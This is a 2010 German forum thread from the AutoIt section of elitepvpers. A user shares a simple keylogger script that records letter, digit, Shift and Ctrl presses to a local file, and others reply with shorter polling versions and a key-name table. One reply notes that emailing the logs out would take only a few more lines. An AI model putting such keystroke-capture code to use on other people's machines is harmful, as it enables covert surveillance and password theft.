Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > AutoIt
You last visited: Today at 04:00

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Autoit KeyAufzeichner/Logger

Discussion on Autoit KeyAufzeichner/Logger within the AutoIt forum part of the Coders Den category.

Reply
 
Old   #1
 
Memphiisto's Avatar
 
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
Autoit KeyAufzeichner/Logger

Auf die Idee das Programm hier zu machen hatt mich IwH gebracht.
Es war ein großes stück Arbeit, mache es aber trotz allem OpenSource und würde mich daher über ein paar thx freun

Was macht es? Es schreibt jeden BUCHSTABEN+Shift und Strg, der geklickt wird in eine Ini datei rein.

PHP Code:

#include <File.au3>
#include <misc.au3>

$Zaelen "0"


While 1

If _IsPressed(10Then
While (10)
If 
$Zaelen "0" then
_FileWriteLog
("Tasten.ini""Shift gedrueckt")
$Zaelen "1"
While (10)
If 
not _IsPressed(10then
    $Zaelen 
"0"
ExitLoop
EndIf
WEnd
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(11Then
While (10)
If 
Not _IsPressed(11Then
_FileWriteLog
("Tasten.ini""Ctrl gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(30Then
While (10)
If 
Not _IsPressed(30Then
_FileWriteLog
("Tasten.ini""Zahl 0 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(31Then
While (10)
If 
Not _IsPressed(31Then
_FileWriteLog
("Tasten.ini""Zahl 1 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(32Then
While (10)
If 
Not _IsPressed(32Then
_FileWriteLog
("Tasten.ini""Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(33Then
While (10)
If 
Not _IsPressed(33Then
_FileWriteLog
("Tasten.ini""Zahl 3 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(34Then
While (10)
If 
Not _IsPressed(34Then
_FileWriteLog
("Tasten.ini""Zahl 4 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(35Then
While (10)
If 
Not _IsPressed(35Then
_FileWriteLog
("Tasten.ini""Zahl 5 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(36Then
While (10)
If 
Not _IsPressed(36Then
_FileWriteLog
("Tasten.ini""Zahl 6 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(37Then
While (10)
If 
Not _IsPressed(37Then
_FileWriteLog
("Tasten.ini""Zahl 7 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(38Then
While (10)
If 
Not _IsPressed(38Then
_FileWriteLog
("Tasten.ini""Zahl 8 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(39Then
While (10)
If 
Not _IsPressed(39Then
_FileWriteLog
("Tasten.ini""Zahl 9 gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed(39Then
While (10)
If 
Not _IsPressed(39Then
_FileWriteLog
("Tasten.ini""Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(41Then
While (10)
If 
Not _IsPressed(41Then
_FileWriteLog
("Tasten.ini""Taste A gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(42Then
While (10)
If 
Not _IsPressed(42Then
_FileWriteLog
("Tasten.ini""Taste B gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(43Then
While (10)
If 
Not _IsPressed(43Then
_FileWriteLog
("Tasten.ini""Taste C gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(44Then
While (10)
If 
Not _IsPressed(44Then
_FileWriteLog
("Tasten.ini""Taste D gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(45Then
While (10)
If 
Not _IsPressed(45Then
_FileWriteLog
("Tasten.ini""Taste E gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(46Then
While (10)
If 
Not _IsPressed(46Then
_FileWriteLog
("Tasten.ini""Taste F gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(47Then
While (10)
If 
Not _IsPressed(47Then
_FileWriteLog
("Tasten.ini""Taste G gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(48Then
While (10)
If 
Not _IsPressed(48Then
_FileWriteLog
("Tasten.ini""Taste H gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(49Then
While (10)
If 
Not _IsPressed(49Then
_FileWriteLog
("Tasten.ini""Taste I gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4A"Then
While (10)
If 
Not _IsPressed("4A"Then
_FileWriteLog
("Tasten.ini""Taste J gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4B"Then
While (10)
If 
Not _IsPressed("4B"Then
_FileWriteLog
("Tasten.ini""Taste K gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed("4C"Then
While (10)
If 
Not _IsPressed("4C"Then
_FileWriteLog
("Tasten.ini""Taste L gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4D"Then
While (10)
If 
Not _IsPressed("4D"Then
_FileWriteLog
("Tasten.ini""Taste M gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4E"Then
While (10)
If 
Not _IsPressed("4E"Then
_FileWriteLog
("Tasten.ini""Taste N gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4F"Then
While (10)
If 
Not _IsPressed("4F"Then
_FileWriteLog
("Tasten.ini""Taste O gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("50"Then
While (10)
If 
Not _IsPressed("50"Then
_FileWriteLog
("Tasten.ini""Taste P gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed("51"Then
While (10)
If 
Not _IsPressed("51"Then
_FileWriteLog
("Tasten.ini""Taste Q gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("52"Then
While (10)
If 
Not _IsPressed("52"Then
_FileWriteLog
("Tasten.ini""Taste R gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("53"Then
While (10)
If 
Not _IsPressed("53"Then
_FileWriteLog
("Tasten.ini""Taste S gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("54"Then
While (10)
If 
Not _IsPressed("54"Then
_FileWriteLog
("Tasten.ini""Taste T gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("55"Then
While (10)
If 
Not _IsPressed("55"Then
_FileWriteLog
("Tasten.ini""Taste U gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed("56"Then
While (10)
If 
Not _IsPressed("56"Then
_FileWriteLog
("Tasten.ini""Taste V gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("57"Then
While (10)
If 
Not _IsPressed("57"Then
_FileWriteLog
("Tasten.ini""Taste W gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("58"Then
While (10)
If 
Not _IsPressed("58"Then
_FileWriteLog
("Tasten.ini""Taste X gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("59"Then
While (10)
If 
Not _IsPressed("59"Then
_FileWriteLog
("Tasten.ini""Taste Y gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("5A"Then
While (10)
If 
Not _IsPressed("5A"Then
_FileWriteLog
("Tasten.ini""Taste Z gedrueckt")
ExitLoop
EndIf
WEnd


;(Cby MagicDave


EndIf
WEnd 

Bei Verbesserungsvorshlägen Pn an mich oder hier rein

lg MagicDave
Memphiisto is offline  
Thanks
2 Users
Old 10/21/2010, 21:54   #2
 
amnesi's Avatar
 
elite*gold: 25
Join Date: Jun 2010
Posts: 1,076
Received Thanks: 290
nice ^^
sowas hab ich auch mal gemacht^^
das ist echt ein Stück Arbeit
vorallem das alles zu tippen xD
amnesi is offline  
Thanks
1 User
Old 10/21/2010, 21:56   #3
 
omer36's Avatar
 
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
omer36 is offline  
Thanks
1 User
Old 10/21/2010, 22:02   #4
 
Memphiisto's Avatar
 
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
Quote:
Originally Posted by omer36 View Post
kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
Is ja kein richtiger "Keylogger" der versendet ja nicht die daten Sondern der ist eigentlich nur für den eigengebrauch gedacht (Aufzeichnen was man alles gemacht hatt) aber naja ich kann verstehen was du meinst xD

Wie gesagt es holt nur die sachen was man macht und tut sie in ne Inidatei aber versendet nix irgendwohin....

Und für mich zählt nur dass es viel arbeit war und ich mich freu dass es funzt

lg magic
Memphiisto is offline  
Old 10/21/2010, 22:09   #5
 
omer36's Avatar
 
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
ja ist ja toll udnso, dass du es machen konntest, aber veröffentlichen muss mann sowas nicht,
weil es reichen schon.. kp..um die 10zeilen mehr und du sendest die sachen an ne email...

nja
omer36 is offline  
Thanks
1 User
Old 10/21/2010, 22:12   #6
 
lolkop's Avatar
 
elite*gold: 280
Join Date: May 2007
Posts: 2,818
Received Thanks: 3,483
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...

und auch so kannst du das gerade bei zahlen und buchstaben so machen...
lolkop is offline  
Old 10/21/2010, 22:12   #7
 
Memphiisto's Avatar
 
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
*.* Wusst ich ned......
Naja löschen werd ichs jetzt auch nicht mehr allerdings jetzt da ich das weiß werd ich solche ähnlichen sachen nicht mehr veröffentlichen THX



Quote:
Originally Posted by lolkop View Post
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...

und auch so kannst du das gerade bei zahlen und buchstaben so machen...
*.* Waaas? xD Ich programmier da so lang rum und das geht alles in ein paar einzelnen zeilen?
Kannste mir das bitte mal zeigen ?
Memphiisto is offline  
Old 10/21/2010, 22:15   #8
 
comentdenner's Avatar
 
elite*gold: 2
Join Date: Feb 2009
Posts: 3,833
Received Thanks: 893
wie bist du auf die idee gekommen einen "was habe ich heute geschrieben" aufzeichner zu machen?
comentdenner is offline  
Old 10/21/2010, 22:19   #9
 
Memphiisto's Avatar
 
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
Ehhm das ist ne gute Frage xD Ich dachte mir einfach einma so was wäre Lustig (schon länger her..
Und dann Heute als in dem Thread: so was wieder aufgetaucht ist hab ich mir gedacht ich schreib ma so was weil ich es schon längere Zeit vor hatte
Memphiisto is offline  
Thanks
1 User
Old 10/21/2010, 22:20   #10
 
comentdenner's Avatar
 
elite*gold: 2
Join Date: Feb 2009
Posts: 3,833
Received Thanks: 893
okay danke für die aufklärung xD

sehr interessant =P
comentdenner is offline  
Old 10/21/2010, 22:52   #11
 
lolkop's Avatar
 
elite*gold: 280
Join Date: May 2007
Posts: 2,818
Received Thanks: 3,483
naja idee war eig die misc.au3 parsen zu lassen... aber denn würde das ganze ja nur funzen, wenn autoit installed ist...

also am besten das ganze zeug ins script packen als array...

so würdest du also alles checken:

wenn du nur so wie du es dort tust auf zahlen und buchstaben checken willst geht das aber auch so:
Code:
$dll = DllOpen('user32.dll')
While 1
	For $i=0 To 9
		If _IsPressed(0x30+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&$i&" gedrueckt"&@CRLF)
	Next
	For $i=1 To 26
		If _IsPressed(0x40+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&Chr(0x40+$i)&" gedrueckt"&@CRLF)
	Next
	Sleep(5)
WEnd

Func _IsPressed($key, $vDLL = 'user32.dll')
	Local $a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
	If @error Then Return SetError(@error, @extended, False)
	If BitAND($a_R[0], 0x8000) <> 0 Then
		Do
			$a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
		Until  BitAND($a_R[0], 0x8000) = 0
		Return True
	Else
		Return False
	EndIf
EndFunc
lolkop is offline  
Thanks
2 Users
Old 10/21/2010, 23:20   #12
 
Memphiisto's Avatar
 
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
Uhh niccceeee Haste dir n thx verdient :P
Memphiisto is offline  
Old 10/21/2010, 23:23   #13
 
Die-Dose's Avatar
 
elite*gold: 30
The Black Market: 109/0/4
Join Date: Jun 2010
Posts: 4,962
Received Thanks: 2,121
Für sowas willst du nicht wirklich n' Thx oder?
Die-Dose is offline  
Old 10/21/2010, 23:28   #14
 
PenGuin :O's Avatar
 
elite*gold: 2
Join Date: Mar 2008
Posts: 1,778
Received Thanks: 1,222
Code:
Func _CheckKey()
	For $i = 1 To 165
		$iValue = StringTrimLeft(Hex($i), 6)
		$iHex = "0x" & $iValue
		$aResult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $iHex)
		If @error Then Return SetError(@error, @extended, 0)
		If BitAND($aResult[0], 32768) <> 0 And $iHex <> $iOldHex Then
			Return  _GetKeyName($iHex)
			$iOldHex = $iHex
		EndIf
	Next
EndFunc   ;==>_CheckKey


Func _GetKeyName($iKey)
	Local $aKey[116][2] = [ _
			[0x01, "Linke Maustaste"],[0x02, "Rechte Maustaste"],[0x04, "Mittlere Maustaste"],[0x05, "X1 Maus-Taste"],[0x06, "X2 Maus-Taste"], _
			[0x08, "Löschtaste rückwärts"],[0x09, "Tabulator-Taste"],[0x0C, "Entf-Taste"],[0x0D, "Enter/Return-Taste"],[0x10, "Shift/Umschalt-Taste"], _
			[0x11, "Ctrl/Strg-Taste"],[0x12, "Alt-Taste"],[0x13, "Pause-Taste"],[0x14, "Feststelltaste"],[0x1B, "Esc-Taste"],[0x20, "Leertaste"],[0x21, "Bild-auf Taste"], _
			[0x22, "Bild-ab Taste"],[0x23, "Ende-Taste"],[0x24, "Pos 1-Taste"],[0x25, "Pfeiltaste nach links"],[0x26, "Pfeiltaste nach oben"], _
			[0x27, "Pfeiltaste nach rechts"],[0x28, "Pfeiltaste nach unten"],[0x29, "Auswahltaste"],[0x2A, "Druck"],[0x2B, "Ausführentaste"], _
			[0x2C, "Drucktaste"],[0x2D, "Einfg-Taste"],[0x2E, "Entf-Taste"],[0x30, "0"],[0x31, "1"],[0x32, "2"],[0x33, "3"],[0x34, "4"],[0x35, "5"], _
			[0x36, "6"],[0x37, "7"],[0x38, "8"],[0x39, "9"],[0x41, "A"],[0x42, "B"],[0x43, "C"],[0x44, "D"],[0x45, "E"],[0x46, "F"],[0x47, "G"],[0x48, "H"], _
			[0x49, "I"],[0x4A, "J"],[0x4B, "K"],[0x4C, "L"],[0x4D, "M"],[0x4E, "N"],[0x4F, "O"],[0x50, "P"],[0x51, "Q"],[0x52, "R"],[0x53, "S"],[0x54, "T"],[0x55, "U"], _
			[0x56, "V"],[0x57, "W"],[0x58, "X"],[0x59, "Y"],[0x5A, "Z"],[0x5B, "Linke Windows-Taste"],[0x5C, "Rechte Windows-Taste"],[0x60, "rechter Nummerblock Taste 0"], _
			[0x61, "rechter Nummerblock Taste 1"],[0x62, "rechter Nummerblock Taste 2"],[0x63, "rechter Nummerblock Taste 3"],[0x64, "rechter Nummerblock Taste 4"], _
			[0x65, "rechter Nummerblock Taste 5"],[0x66, "rechter Nummerblock Taste 6"],[0x67, "rechter Nummerblock Taste 7"],[0x68, "rechter Nummerblock Taste 8"], _
			[0x69, "rechter Nummerblock Taste 9"],[0x6A, "rechter Nummerblock Malzeichen"],[0x6B, "rechter Nummerblock Pluszeichen"],[0x6C, "Eingabetaste"], _
			[0x6D, "rechter Nummerblock Minuszeichen"],[0x6E, "rechter Nummerblock Kommazeichen"],[0x6F, "rechter Nummerblock Geteiltzeichen"],[0x70, "F1"], _
			[0x71, "F2"],[0x72, "F3"],[0x73, "F4"],[0x74, "F5"],[0x75, "F6"],[0x76, "F7"],[0x77, "F8"],[0x78, "F9"],[0x79, "F10"],[0x7A, "F11"],[0x7B, "F12"], _
			[0x7C, "F13"],[0x7D, "F14"],[0x7E, "F15"],[0x7F, "F16"],[0x80, "F17"],[0x81, "F18"],[0x82, "F19"],[0x83, "F20"],[0x84, "F21"],[0x85, "F22"], _
			[0x86, "F23"],[0x87, "F24"],[0x90, "Num-Taste"],[0x91, "Rollen-Taste"],[0xA0, "linke Shift/Umschalt/Feststelltaste"], _
			[0xA1, "rechte Shift/Umschalt/Feststelltaste"],[0xA2, "linke Ctrl/Strg-Taste"],[0xA3, "rechte Ctrl/Strg-Taste"], _
			[0xA4, "(linke) Alt-Taste"],[0xA5, "(rechte) Alt Gr-Taste"]]
	Local $Index = _ArraySearch($aKey, $iKey)
	If Not @error Then
		Return $aKey[$Index][1]
	Else
		Return 0
	EndIf
EndFunc   ;==>_GetKeyName
Einfach _CheckKey in einer Schleife durchlaufen lassen ;O
Und lolkop, sag nichts dagegen, alles was ich mache, findest du schlecht!

#include <array.au3> wird gebraucht.
PenGuin :O is offline  
Thanks
1 User
Old 10/21/2010, 23:29   #15
 
Memphiisto's Avatar
 
elite*gold: 115
Join Date: Feb 2009
Posts: 353
Received Thanks: 44
Nicht für das was es ist sondern für die zeit die ich darin investiert hab damitt es läuft..
und außerdem wenn du nicht willst musst du mir ja kein thx geben allerdings würd es mich freun ^^
Memphiisto is offline  
Reply


Similar Threads Similar Threads
Key Logger
04/30/2010 - Diablo 2 - 7 Replies
Hallo vielleicht kann mir jemand helfen!! Ich muss einen KeyLogger auf dem PC haben!!! 2 mal wurde ein acc gehackt wo ich gerade fertig war mit dem eq kann mir jemand sagen wo und wie ich die scheisse gleich finden kann??
Help me l2-logger !!!
11/07/2008 - Lineage 2 - 2 Replies
i need help, when i try to open l2logger a msdos window appear and disappear can someone help me for fix it? thanks
Key logger plz
09/05/2007 - Conquer Online 2 - 7 Replies
does any1 have a key logger that i can use??



All times are GMT +1. The time now is 04:00.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.